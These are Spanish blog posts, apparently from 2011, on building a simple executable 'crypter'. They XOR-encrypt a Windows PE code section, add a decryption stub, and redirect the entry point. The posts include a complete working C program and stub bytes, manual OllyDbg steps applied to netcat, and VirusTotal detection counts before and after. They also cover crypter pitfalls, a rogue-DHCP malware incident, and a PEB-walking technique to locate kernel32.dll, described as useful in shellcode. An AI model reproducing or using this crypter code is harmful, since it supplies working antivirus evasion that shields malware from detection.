En el ejecutable del netcat la IT, Import Table, estaba en la sección .rdata. Para ver en que sección está la IT se puede mirar en la cabecera PE, en el directorio de datos, la VirtualAddress del directorio de importaciones.

Y mirar en que sección cae esta dirección. Claro que es mucho mas fácil abrir el ejecutable con OllyDbg y ver el mapa de memoria:

En el caso del netcat el crypter no tocaba en ningún momento la IT. Pero hay muchos ejecutables, por ejemplo la calculadora de windows, en el que la IT está en la sección de código:

¿Qué sucede en estos casos?

Que nuestro crypter cifra toda la sección de código incluida la IT. Y cuando Windows carga el ejecutable, y el loader trata de recorrer la IT para rellenar la IAT, Import Address Table, se encuentra con una tabla sin sentido, con punteros a zonas de memoria que no existen y BOOM!! Explota:

Deberíamos o bien, omitir a la hora de cifrar la zona donde está la IT y la IAT. O bien, invalidar la IT en el directorio de datos y cargarla desde la rutina que hemos añadido después de descifrar la sección.

Otra de las cosas que puede fallar es cuando la IT u otra tabla de datos se encuentra en la cabecera PE, aprovechando el espacio libre que surge de alinear el tamaño de la cabecera, este espacio está justo después de la tabla de secciones. Volviendo a la calculadora de nuevo, podemos observar como la tabla “BoundImportDirectory” está dentro de la cabecera en la posición 260h:

Está tabla es usada para cargar mas rápidamente un ejecutable, ya que digamos que tiene precargada toda la IAT para una determinada versión de librerias, DLLs, ahorrandose así el tiempo de recorrer toda la IT e ir buscando la dirección de cada función para compeltar la IT. Si ya conoce al versión de DLL que se va a cargar ya sabe exactamente en que dirección se va a encontrar la función.

El caso es que esta tabla está en la posición 260h, justo despues de la tabla de secciones:

Y cuando nuestro crypter de la anterior entrada añade una sección sobrescribe parte de está tabla dejándola con datos erróneos.

Al añadir una sección deberíamos tener cuidado de no sobrescribir ninguna tabla, y si es necesario relocalizar la tabla en otro lugar.

Otro problema, es que nuestra rutina de descifrado usa el registro EAX, el cual deja con el valor del Original Entry Point, así cuando se ejecuta el código original no está todo como debería estar si no se hubiese cifrado el ejecutable, ya que aunque la pila contiene exactamente lo mismo y la mayoría de los registros están sin cambiar, el registro EAX, que suele inicializarse a 0, en nuestro caso tendría otro valor. Esto puede dar problemas en muy raras ocasiones en las que se presuponga que inicialmente EAX vale 0 y el programa no se encargue de inicializar el registro. Pero si he visto código en ensamblador que usa el valor inicial de EBX, ya que el loader de Windows lo inicializa con la dirección del Process Enviroment Block, PEB, y es una forma mas cómoda de acceder al PEB, sin pasar antes por el TIB (fs:30).

Conclusión, el crypter debería dejar los valores de los registros y de la pila intactos tras ejecutar su rutina de descifrado. Para ello es muy habitual hacer uso de las instrucciones PUSHAD y POPAD que guardan y restablecen respectivamente todos los registros.

Y esto es lo que de momento se me ocurre que podría fallar, seguro que van surgiendo mas fallos según vaya probándolo.

Ahora toca mejorar el código del crypter para que tenga en cuenta estas cosas.

Saludos!

Cifrando un ejecutable en C

2011-08-11T12:22:00.009+02:00

Cifrando un ejecutable a mano
Cifrando un ejecutable a mano, dos variaciones

En las dos entradas anteriores hemos visto como cifrar un ejecutable a mano y algunas posibles variaciones a la hora de hacerlo. Conociendo el proceso para realizarlo a mano hacer un programa que haga lo mismo es cuestión de paciencia.

Aquí os dejo el código fuente en C del programa que he realizado.

#include <stdio.h>
#include <windows.h>

//Rutina encargada de descifrar la sección cifrada
char uncryptroutine[] =		  //21 bytes
	"\xB8\x00\x10\x40\x00"  //B8 00104000  MOV EAX, 401000    Section Start  ||Este valor será modificado
	"\x80\x30\xBB"          //8030 BB      XOR BYTE[EAX], BB  Key
	"\x40"                  //40           INC EAX
	"\x3D\x00\x45\x40\x00"  //3D 00454000  CMP EAX, 404500    Section End  ||Este valor será modificado
	"\x75\xF5"              //75 F5        JNZ SHORT -11      (Complemento a dos de 11 = F5)
	"\xB8\x00\x20\x40\x00"  //B8 00204000  MOV EAX, 402000    Pone en EAX el OEP || Este valor será modificado
	"\xFF\xE0";				//FFE0         JMP EAX			  Salta al OEP

//Posiciones de la rutina que tienen que ser corregidas
const int sectionStartPos = 1;
const int sectionEndPos = 10;
const int OEPPos = 17;

//Dado un numero y un alineamiento, devuelve el numero alineado superior mas cercano
DWORD align(DWORD number, DWORD alignment)
{
  if(number % alignment == 0)
    return number;
  else
    return (number / alignment) * alignment + alignment;
}

int main(int argc, char *argv[])
{
	if(argc != 2)
	{
		printf("Pasame un archivo como argumento, ej: %s program.exe", *argv);
		return EXIT_FAILURE;
	}
	HANDLE file = CreateFile((LPCTSTR)argv[1], 
		GENERIC_READ | GENERIC_WRITE, 
		0, 
		NULL, 
		OPEN_EXISTING, 
		FILE_ATTRIBUTE_NORMAL, 
		NULL);
	if(file == INVALID_HANDLE_VALUE){
		fprintf(stderr, "No se pudo abrir el fichero: %s Error: %d\n", argv[1], GetLastError());
		return EXIT_FAILURE;
	}

	//Abrimos una vista de solo lectura para leer el fichero y saber cuanto ocupará el nuevo fichero cifrado
	HANDLE mappedFile = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0);
	if(mappedFile == INVALID_HANDLE_VALUE)
	{
		fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	byte *viewMappedFile = (byte*)MapViewOfFile(mappedFile, FILE_MAP_READ, 0, 0, 0);
	if(viewMappedFile == NULL)
	{
		fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
		CloseHandle(mappedFile);
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)viewMappedFile;
	if(pIDH->e_magic != IMAGE_DOS_SIGNATURE) //MZ
	{
		fprintf(stderr, "No se encontro la cabecera MZ!\n");
		UnmapViewOfFile(viewMappedFile);
		CloseHandle(mappedFile);
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&viewMappedFile[pIDH->e_lfanew];

	//Ahora con pINH->OptionalHeader.FileAlignment ya podemos saber exactamente el tamaño del nuevo ejecutable cifrado
	DWORD fileAlignment = pINH->OptionalHeader.FileAlignment;
	//Reabrimos las vistas con el nuevo tamaño (el viejo tamaño + el tamaño de la sección nueva)
	UnmapViewOfFile(viewMappedFile);
	CloseHandle(mappedFile);
		
	DWORD size = GetFileSize(file, NULL);
	mappedFile = CreateFileMapping(file,
		0,
        PAGE_READWRITE,
        0,
		size + align(sizeof(uncryptroutine) ,fileAlignment),
        0);
	if(mappedFile == INVALID_HANDLE_VALUE)
	{
		fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	viewMappedFile = (byte*)MapViewOfFile(mappedFile, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
	
	pIDH = (PIMAGE_DOS_HEADER)viewMappedFile;
	pINH = (PIMAGE_NT_HEADERS)&viewMappedFile[pIDH->e_lfanew];
	if(pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + pINH->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > pINH->OptionalHeader.SizeOfHeaders)
	{
		fprintf(stderr, "No hay espacio en la cabecera PE para agregar una seccion y es tan lioso agrandarla, quizas en futuras versiones...");
		UnmapViewOfFile(viewMappedFile);
		CloseHandle(mappedFile);
		CloseHandle(file);
		return EXIT_FAILURE;
	}
	PIMAGE_SECTION_HEADER pISH;
	DWORD i;
	//Busca la sección donde apunta el EP, que es la que cifrará
	for(i = 0; i < pINH->FileHeader.NumberOfSections; i++)
	{
		pISH = (PIMAGE_SECTION_HEADER)&viewMappedFile[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
		if(pINH->OptionalHeader.AddressOfEntryPoint >=  pISH->VirtualAddress && 
		   pINH->OptionalHeader.AddressOfEntryPoint < pISH->VirtualAddress + pISH->Misc.VirtualSize)
		{
			printf("EP apunta a la seccion: %s\n", pISH->Name);
	        break;
		}
	}
	//Añadimos permisos de escritura a la sección que se va a encriptar
	pISH->Characteristics |= IMAGE_SCN_MEM_WRITE;

	//Ciframos la sección donde apunta el EP
	for(i = 0; i < pISH->Misc.VirtualSize; i++)
		viewMappedFile[pISH->PointerToRawData + i] ^= 0xBB;
	printf("Seccion %s cifrada\n", pISH->Name);

	//Obtenemos un puntero a la última sección
	PIMAGE_SECTION_HEADER pLastISH = (PIMAGE_SECTION_HEADER)&viewMappedFile[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (pINH->FileHeader.NumberOfSections - 1) * sizeof(IMAGE_SECTION_HEADER)];
	//Puntero a la nueva sección
	PIMAGE_SECTION_HEADER pNewISH = pLastISH + 1;
	memset(pNewISH, 0, sizeof(IMAGE_SECTION_HEADER));
	sprintf((char *)pNewISH->Name, ".crypt");
	pNewISH->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;
	pNewISH->VirtualAddress = align(pLastISH->VirtualAddress + pLastISH->Misc.VirtualSize, pINH->OptionalHeader.SectionAlignment);
	pNewISH->Misc.VirtualSize = sizeof(uncryptroutine);
	pNewISH->PointerToRawData = align(pLastISH->PointerToRawData + pLastISH->SizeOfRawData, pINH->OptionalHeader.FileAlignment);
	pNewISH->SizeOfRawData = align(sizeof(uncryptroutine), pINH->OptionalHeader.FileAlignment);

	//Corregimos los valores del PE para que tenga en cuenta la nueva sección
	pINH->FileHeader.NumberOfSections++;
	DWORD OEP = pINH->OptionalHeader.AddressOfEntryPoint;
	//El nuevo entry point estará al comienzo de la nueva sección
	pINH->OptionalHeader.AddressOfEntryPoint = pNewISH->VirtualAddress;
	pINH->OptionalHeader.SizeOfImage = align(pNewISH->VirtualAddress + pNewISH->Misc.VirtualSize, pINH->OptionalHeader.SectionAlignment);
	printf("Seccion %s agregada\n", pNewISH->Name);	

	//Modificamos la rutina de desencriptación
	DWORD VirtualStart = pINH->OptionalHeader.ImageBase + pISH->VirtualAddress;
	memcpy(&uncryptroutine[sectionStartPos], &VirtualStart, sizeof(DWORD));
	DWORD VirtualEnd = VirtualStart + pISH->Misc.VirtualSize;
	memcpy(&uncryptroutine[sectionEndPos], &VirtualEnd, sizeof(DWORD));
	OEP += pINH->OptionalHeader.ImageBase;
	memcpy(&uncryptroutine[OEPPos], &OEP, sizeof(DWORD));

	if (size != pNewISH->PointerToRawData)
	{
		printf("Existen datos EOF, se copiaran al final del fichero\n");
		//Los datos EOF se desplazan al final del fichero
		memcpy(&viewMappedFile[pNewISH->PointerToRawData + pNewISH->SizeOfRawData], &viewMappedFile[pNewISH->PointerToRawData], size - pNewISH->PointerToRawData);
	}
	//Escribimos la rutina de desencriptación al inicio de la nueva sección
	memcpy(&viewMappedFile[pNewISH->PointerToRawData], uncryptroutine, sizeof(uncryptroutine));
	//Rellenamos de 00s el resto de la sección
	memset(&viewMappedFile[pNewISH->PointerToRawData + sizeof(uncryptroutine)], 0, pNewISH->SizeOfRawData - sizeof(uncryptroutine));
	printf("Rutina de descifrado escrita\n");
	
	//Cerramos la vista mapeada
	UnmapViewOfFile(viewMappedFile);
	CloseHandle(mappedFile);
	CloseHandle(file);

	printf("Archivo encriptado!\n");
	return EXIT_SUCCESS;
}

El ejecutable conserva los datos EOF que puedan existir. La rutina de descifrar a sido cambiada levemente ("JMP dirección" por "MOV EAX, dirección; JMP EAX") para que sea mas fácil de modificar desde el código.

Al ejecutarlo muestra algo como esto:

Subo aquí el programa compilado.

Es posible volver a cifrar el ejecutable resultante. De modo que podemos llegar a tener 20 secciones “.crypt”, y una tras otra van descifrándose hasta que la última descifra el código original. Como curiosidad he probado ha cifrarlo 88 veces, obteniendo 91 secciones (inicialmente había 3) y funciona correctamente:

Este “crypter” no funciona con todos los ejecutables, de hecho da problemas con muchos de ellos, en siguientes entradas veremos los problemas que pueden surgir y como tratarlos.

Cualquier sugerencia será bienvenida. Saludos!

Cifrando un ejecutable a mano, dos variaciones

2011-08-09T11:40:00.003+02:00

En la anterior entrada hemos cifrado el netcat haciendo xor sobre toda la sección de código. Para ello hemos añadido una sección, en ella se ha escrito el código para descifrar la sección de código y se ha cambiado el EP a esta sección.

Se me ocurren 2 posibles variaciones al método anterior.

La primera es no añadir una nueva sección sino usar los huecos existentes en la sección “.text”. Es muy habitual que debido a la necesidad de que el tamaño de una sección en disco esté alineada con el valor FileAlignment, al final de todas las secciones sobren algunos bytes que solo están ahí para cumplir con el alineado. Podemos usar estos huecos para introducir nuestro código sin la necesidad de añadir una sección de código. Pero claro esto no siempre se puede hacer y lo que se busca a la hora de programar algo es que funcione la mayoría de las veces, así que este método queda descartado.

Aun así para ver que dicen los AV al respecto, he realizado la prueba y lo detectan 19/43, este cambio no confunde a ningún AV.

La segunda variación es la que hace Mati Aharoni en el video que puse en la anterior entrada. Y consiste en no modificar en ningún momento el EP. En cambio donde apunta el EP pone una instrucción de salto, JMP, a la nueva sección donde tenemos el código que descifra y una vez descifrado el código se encarga de ejecutar las instrucciones que había sobrescrito y retornar a la sección “.text” descifrada para continuar la ejecución normalmente.

Originalmente en el EP existen estas instrucciones:

Tras el cambio quedara así:

Fijaos que el resto del código está cifrado con xor, solo se ha conservado el salto.

La sección que hemos añadido y donde salta ese JMP que veíamos quedaría así:

Las 2 instrucciones iniciales son las mismas que había en el exe original y que fueron reemplazas por la instrucción JMP.

Subo el exe modificado por aquí. Este es solo detectado por 13/43 antivirus. Que conste que el objetivo no es hacer indetectable el netcat, para eso existen mejores técnicas de las que ya hablé, sino ver diversas formas de cifrar un archivo y ya de paso comprobar cómo afectan a los antivirus.

Esta técnica que acabamos de ver tiene algunas dificultades para ser implantada en un programa. Y es que para insertar el JMP en el EP necesitamos 5 bytes que es lo que ocupa una instrucción JMP, y esos 5 bytes serán sobrescritos afectando a las instrucciones que estuviesen en ese lugar, pero a priori no sabemos cuantas instrucciones son ni que tamaño tienen. Es mas fácil verlo con el ejemplo anterior. Las instrucciones sobrescritas eran:

PUSH 18
PUSH 0040C098

Las cuales ocupan 7 opcodes: 6A 18 68 98 C0 40 00

Sería un grave error hacer el programa que solo copiase solo los 5 opcodes sobrescritos por el JMP. Necesitamos analizar las instrucciones afectadas por esos 5 bytes y conservarlas completamente. Programar esto ya es mas complicado, requiere conocer todas las instrucciones posibles, el tamaño de los operandos, etc… Así que de momento esta variación queda también descartada para realizar un programa automático que cifre un ejecutable, un crypter.

Saludos!

Cifrando un ejecutable a mano

2011-08-08T17:11:00.009+02:00

Buenas!

En las entradas que se han visto hasta ahora sobre los ficheros ejecutables en Windows se explicaba el formato que tiene un exe, cómo añadir una sección, cómo añadir código ejecutable, qué es la IAT y cómo cargar funciones manualmente y alguna otra cosa relacionada. Todo esto tenía un objetivo, ir preparándonos para entender cómo funcionan los protectores de ejecutables e ir programando poco a poco uno.

Y para empezar que mejor que cifrar un ejecutable a mano de la forma mas sencilla posible para después ya desarrollar el programa que haga el proceso automáticamente. La idea es usar la función XOR para cifrar la sección de código de un ejecutable, después insertar al inicio un pequeño código en el mismo ejecutable que deshaga esta operación de cifrado y por último ejecute el código una vez descifrado.

El proceso puede verse en este video de la conferencia ShmooCon 2008 donde Mati Aharoni habla sobre cómo saltarse la detección de los antivirus. Para ello usa la herramienta netcat que es detectada por unos cuantos. Al final del proceso logra que su Antivirus, AVG, no detecte el netcat.

Voy a hacer en esencia lo mismo pero con algunos cambios.

Como Mati, voy a usar el netcat, que se puede descargar de aquí. Nada mas bajarlo, lo he subido a Virustotal y actualmente es detectado por 28/43 antivirus.

Lo siguiente que voy a hacer es añadir una sección al netcat. Para ello uso mi querido 010 Editor. Me ha quedado así:

No os olvidéis de cambiar el NumberOfSections, ImageSize y añadir físicamente 1000 bytes al final del fichero. Si tenéis algún problema añadiendo la sección revisad este post de Ferchu sobre cómo añadir una sección a un exe “y no morir en el intento”.

En esta sección que acabamos de crear incluiremos el código que descifre la sección de código del ejecutable y una vez finalizada esta tarea salte a la misma. Para que lo primero que se ejecute en el programa sea este código que ahora veremos es necesario modificar el EntryPoint del ejecutable de netcat para que el programa inicie la ejecución en nuestra sección.

En este ejemplo el código que se usará para cifrar la sección será el mismo que se use para descifrarla. Esto es posible porque vamos a usar la función XOR para cifrar los bytes de la sección de código, y esta función tiene una característica curiosa y es que: X XOR C = Y Y XOR C = X

C es la clave que por ejemplo puede ser 0xBB. X es uno de los bytes de la sección de código, una vez cifrado con la clave C obtenemos Y, que será el byte cifrado. Para descifrarlo solo tenemos que volver a aplicar la función XOR con la misma clave.

La sección de código en el ejecutable de netcat es la primera sección, llamada “.text”. Dicha sección se encuentra en este rango de memoria virtual: 401000h-40B000h.

Y con todo esta ahora ya vamos con el código ensamblador que cifrará/descifrará la sección. La idea es situarnos al comienzo de la sección e ir cifrando cada byte de la misma hasta que lleguemos al final. Este código realiza esa tarea:

MOV EAX, 401000  ;Inicio de la sección
XOR [EAX], BB ;Clave usada para la función xor BB
INC EAX
CMP EAX, 40B000  ;Fin de la sección
JNZ 00410005 ;Si no es el fin de la sección seguir en el bucle
JMP 00404AC3  ;EP original

Ahora tenemos el netcat con una nueva sección que contiene el código para cifrar/descifrar. Lo abrimos con OllyDbg y ejecutamos el bucle para que cifre toda la sección “.text”. Para ello lo mejor es poner un breakpoint en el último JMP y darle a ejecutar.

Una vez parado el Olly en el JMP, podemos ver como la sección ”.text” se encuentra cifrada:

A la izquierda vemos el netcat original, a la derecha el cifrado. Ahora solo nos queda guardar el ejecutable en este estado, con al sección cifrada. Para ello en OllyDbg selecionamos toda la sección y damos a “Copy to executable > Selection”:

Y en la nueva ventana “Save file”.

Ahora ya tendremos todo listo, el netcat con la sección de código cifrada, una nueva sección con el código que la descifrará y el EP apuntando allí. Ahora al ejecutarlo se descifrara la sección y la ejecutará como se haría normalmente.

Subo aquí el netcat tal cual me ha quedado a mi.

Esta versión cifrada la detectan 19/43 antivirus. Antes eran 28. Uno de los que no lo detectan es AVG, el mismo que utilizó Mati Aharoni en su conferencia. Hace años seguramente hubiesen sido mas los AV que no hubiesen detectado este netcat modificado, pero hoy en día muchos antivirus son capaces de mediante emulación o análisis heurísticos detectar que se usa un cifrado XOR y revertirlo para analizar el ejecutable. Otros tantos no detectaban el netcat, ya que en si es una herramienta para “hacking”, pero si detectan esta variante como un programa empaquetado “Malicious Packer”. Hay varias cosas en las que puede fijarse un antivirus para sospechar que es un programa cifrado, tiene 2 secciones con permisos de ejecución, lo cual no suele ser muy normal, la sección donde apunta el EP no es la primera, lo que tampoco es habitual y la sección “.text” no parece contener instrucciones ejecutables.

En siguientes entradas programaré esto en C y se verán los problemas que pueden surgir con este método.

Saludos!

Continuación: Dos posibles variaciones a este método

Formato de ficheros ejecutables, Formato PE

2011-07-04T21:43:00.001+02:00

@The_Swash ha redactado un completo documento en el que explica toda la estructura de un fichero ejecutable para Windows.

Es uno de los documentos mas completos en español sobre el tema.

Aquí os dejo el índice:

ESTRUCTURA DE UN FICHERO EJECUTABLE
DIRECCIONES FÍSICAS, VIRTUALES RELATIVAS Y VIRTUALES
IMAGE FILE HADER
IMAGE OPTIONAL HEADER
IMAGE DATA DIRECTORY
IMAGE SECTION HEADER
EXPORT DIRECTORY
IMPORT DIRECTORY
RESOURCE DIRECTORY
RELOCATION DIRECTORY
DEBUG DIRECTORY
TLS DIRECTORY (THREAD LOCAL STORAGE)
DIRECTORIO LOAD CONFIG
DELAY IMPORT DIRECTORY
BOUND IMPORT DIRECTORY
REFERENCIAS
DESPEDIDA

Y el documento, como no.

Saludos!

Me quieren infectar! Pero ¿cómo? y ¿quién?

2011-06-10T21:48:00.001+02:00

En la anterior entrada mostré cómo alguien o algo trataba de infectar mi equipo.

¿Cómo?

Está claro que el problema estaba en que el DNS no era el esperado y tampoco el servidor DCHP. Razonando un poco llegué a la conclusión de que había un servidor DHCP falso que era el que me daba los datos para conectarme a internet y uno de esos datos era el servidor DNS malicioso.

Veámoslo en Wireshark. Me desconecto y reconecto a la red Wi-Fi, filtro los paquetes para ver solo el protocolo DHCP “bootp” y me encuentro con lo siguiente:

En los dos primeros paquetes se ve como mi equipo recién conectado a la red inalámbrica solicita (DHCP Request) los datos necesarios para conectarse.

A continuación responden a la solicitud (DHCP ACK) desde 2 direcciones diferentes. 192.168.100.13, la IP de un equipo de mi red y 192.168.100.254, mi router, el único que debería responder.

El primero en responder es la dirección IP 192.168.100.13, el equipo de mi red, así que es al que hace caso mi portátil. En la captura se puede ver como uno de los datos que nos da en la respuesta a la solicitud es el Domain Name Server (DNS) 188.229.88.8. Como curiosidad esa IP está en Bucarest, Rumania.

Pero no siempre responde antes el equipo “malicioso” que el router. De hecho la mayoría de las veces responde antes el router que el equipo:

En estas ocasiones mi equipo ignora la segunda respuesta y todo funciona correctamente.

¿Quién?

La pregunta ahora es quién de mis compañeros de piso tiene la IP 192.168.100.13, ¿la belga, los franceses, el indio o serán las polacas? ¿Y será realmente él/ella quien intenta infectarme?

Usando el MAC Address Scanner de Cain se puede ver que equipos están activos en mi rango.

Ahí veo que el equipo en cuestión se llama Kwasek-Komputer. El nombre de una de las polacas que vive conmigo. Por supuesto no es ella la que deliberamente intenta infectarme. Es algún tipo de malware, llamémoslo virus que por lo que se ve hace las funciones de un falso servidor DCHP para intentar expandirse por la red de area local, LAN. Tendré que instalarla un antivirus.

La técnica se conoce como Rogue DHCP. Ya en 2009 hablaban de un malware que usaba esta técnica para expandirse por la red local. Seguro que es mas antigua aun.

Buscando en google he encontrado unas cuantas páginas que hablan sobre este virus:
http://malwaresurvival.net/2011/06/01/rogue-dhcp-routes-users-to-malware-attacks/
http://www.dyndnscommunity.com/questions/16870/my-router-provides-the-wrong-dns.html
http://www.bleepingcomputer.com/forums/topic402144.html
http://www.ryumaou.com/hoffman/netgeek/2011/05/dns-redirect-attack/

El siguiente paso sería analizar el ejecutable que se descarga, pero no se yo si lo lograré, suelen estar cifrados, ofuscados, se descargan a la vez otros ejecutables, etc…

Saludos!

Me quieren infectar!

2011-06-10T00:49:00.002+02:00

Enciendo el portátil en mi casa, arranca Windows 7, se conecta a la red Wi-Fi, abro el navegador, se abre la página de inicio y ZAS:

www.google.es me dice que para entrar a su página web debo actualizar el navegador. Que extraño…si Google Chrome se actualiza automáticamente, y aun así ¿www.google.es iba a mostrarme ese mensaje tan rádical “o actualizas, o no entras”? Y ese título de la página web tan cantoso: “WARNING!!!”…todo muy raro.

Por curiosidad pulso el botón “Browser update” y se descarga un ejecutable de 58 kbytes llamado “update.exe”, sin icono. Sería mas normal que una actualización se llamase algo como GoogleChrome_Update_11.231.exe y que el ejecutable tuviese el icono de Google Chrome, ¿no?

A estas alturas ya estoy seguro de que hay gato encerrado y que ese ejecutable no es ninguna actualización de Chrome, me la quieren colar…¿Por qué!!?

Pruebo a abrir otras páginas y en todas sale el mismo aviso. Lo intento con Internet Explorer y lo mismo, ¿qué demonios pasa?

Hago ping a www.google.es:

Después hago ping a www.marca.com y la misma IP, todos los dominios me responden con la IP: 188.229.88.8. Abro esa IP en el navegador, http://188.229.88.8/, y veo el mismo mensaje que me salía al principio.

Parece claro que el problema es que mi servidor DNS resuelve todos los dominios con esa IP. ¿Se habrá vuelto loco?

Veamos que servidor DNS estoy usando: ipconfig /all

Mi router tiene la dirección 192.168.100.254 y él mismo hace de servidor DHCP y de servidor DNS, como es normal en los router domésticos. Pero ahí me dice que el servidor DHCP es la 100.13 y el DNS es la misma IP que me salía antes al resolver cualquier dominio :S

Me desconecto de la red Wi-Fi y me vuelvo a conectar (típica solución a todos los problemas informáticos, reconectar, resetear, reiniciar, etc…), vuelvo a mirar la configuración de mi tarjeta de red y sorpresa:

Todo está perfecto. Pruebo a conectarme a algunas páginas y todo bien.

Ahora que funciona internet aprovecho a subir la supuesta actualización a VirusTotal para ver que dicen los antivirus al respecto. 23/42 antivirus lo detectan, definitivamente es un malware. Aunque los antivirus no se ponene muy de acuerdo, 4 de ellos lo llaman Gen.Variant.Kazy.

Pruebo a reconectarme varias veces para ver si vuelve a salir el mensaje pero nada. ¿Cómo han aparecido esos valores ahí? ¿Mi equipo está infectado? ¿El router se ha vuelto loco temporalmente?

En la siguiente entrada lo veremos.

Pd: Como curiosidad fijaos que la estética de la página está calcada al aviso de sitios maliciosos de Firefox:

Obtener la dirección base de kernel32.dll consultando el PEB

2011-05-29T22:29:00.008+02:00

En la entrada de Usando GetProcAddress y LoadLibrary para localizar APIs vimos que una de las primeras cosas que hay que hacer es localizar la dirección de memoria donde se carga la dll kernel32.dll. Para ello se utilizaba un código que suponía que en la pila se encontraba una dirección de retorno a una función de dicha dll:

;Obtiene la dirección base de Kernel32
ObtenerKernel32 proc
 mov eax, dword ptr [esp+0Ch];Nos quedamos con la dirección de retorno hacia la funcion createprocess
 and eax, 0FFFFF000h   ;Paginas de 1000h
searchMZ:
 sub eax, 1000h
 cmp word ptr[eax], "ZM"
 jnz searchMZ
 ret

ObtenerKernel32 endp

Esta forma no parece muy correcta, puede que en alguna versión de Windows pasada o futura no funcione bien. Además se supone que se conoce en que posición de la pila estará el valor de retorno que comentaba, esto por ejemplo puede no saberse exactamente si el código se usa para explotar una vulnerabilidad mediante una shellcode que use ese método.

Por suerte existe otra forma de obtener la dirección base de kernel32.dll.

Citando a la wikipedia:

En computación, el Win32 Thread Information Block (TIB) es una estructura de datos en los sistemas Win32 específicamente en la arquitectura x86 que almacena información a cerca del thread que se esta ejecutando.
El TIB esta indocumentado oficialmente para Windows 9x.La serie Windows NT incluye una estructura NT TIB en winnt.h que lo documenta .Wine incluye declaraciones para extender (una parte especifica del subsistema) TIB
El TIB puede ser usado para obtener buena cantidad de información en el proceso sin llamar ninguna API de Win32.Por ejemplo la emulación de GetLastError() , GetVersion(). A través del puntero en el PEB se puede obtener acceso a la tabla de importación (IAT) , los argumentos pasados al proceso etc …

La dirección de esta estructura esta apuntada por el registro FS y en la misma página de wikipedia que he comentado antes pueden verse los campos que tiene. Uno de ellos es el Process Enviroment Block, PEB. Una estructura que contiene información sobre el proceso que ejecuta el hilo:

FS:[0x30] –> Linear address of Process Environment Block (PEB)

En MSDN podemos ver de que se compone la estructura PEB:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;  //+0x0C
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

Mediante esta estructura podemos saber si un proceso está siendo depurado, los parámetros del proceso y lo que mas nos interesa los módulos que ha cargado el Loader de Windows. En estos módulos se encuentra el propio ejecutable y todas las DLLs que ha cargado Windows para poder ejecutarlo, entre ellas estará kernel32.dll. El campo que nos da esta información es el siguiente:

PPEB_LDR_DATA  Ldr;

Que se encuentra a un desplazamiento de 0x0C desde el principio de la estructura PEB.

La estructura PEB_LDR_DATA a su vez también está documentada en MSDN:

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList; // +0x14
} PEB_LDR_DATA, *PPEB_LDR_DATA;

En MSDN describen esa lista cómo:

InMemoryOrderModuleList The head of a doubly-linked list that contains the loaded modules for the process. Each item in the list is a pointer to an LDR_DATA_TABLE_ENTRY structure. For more information, see Remarks.

Con la siguiente estructura:

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

Y por último la tabla donde apuntan Flink y Blink:

typedef struct _LDR_DATA_TABLE_ENTRY {
  PVOID Reserved1[2];
->LIST_ENTRY InMemoryOrderLinks;
  PVOID Reserved2[2];
  PVOID DllBase; //+0x10 desde –>
  PVOID EntryPoint;
  PVOID Reserved3;
  UNICODE_STRING FullDllName; //+0x1C desde –>
  BYTE Reserved4[8];
  PVOID Reserved5[3];
  union {
    ULONG CheckSum;
    PVOID Reserved6;
  };
  ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

Hay que fijarse que los punteros Flink y Blink de la lista doblemente enlazada no apuntan al comienzo de la estructura LDR_DATA_TABLE_ENTRY sino al campo InMemoryOrderLinks, como he marcado con la flecha –>. Los desplazamientos los he puestos relativos a este punto.

De esta última estructura nos interesan los campos:

PVOID DllBase;

Que contiene la dirección base donde se ha cargado el módulo y:

UNICODE_STRING FullDllName;

Que es la ruta y nombre del módulo. El tipo UNICODE_STRING está definido también en MSDN:

typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

Perfecto! Ya tenemos todo lo necesario para lograr nuestro objetivo. La idea es primero acceder al TIB, desde este localizar la estructura PEB, después acceder al valor Ldr a la estructura PPEB_LDR_DATA, utilizar el valor InMemoryOrderModuleList para recorrer la lista mediante el puntero Flink(Follow link) y en cada tabla LDR_DATA_TABLE ver si corresponde al módulo kernel32.dll comparando con el campo FullDllName, si no es así ir a la siguiente tabla, si sí que corresponde con kernel32.dll quedarnos con la dirección base DllBase que es lo que buscamos.

A continuación dejo el código en ensamblador que realiza todas estas tareas. Para hacerlo lo mas genérico he comparado el nombre del módulo con kernel32.dll de forma que no sea sensible a minúsculas o mayúsculas lo que hace un poco mas largo el código:

.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.data
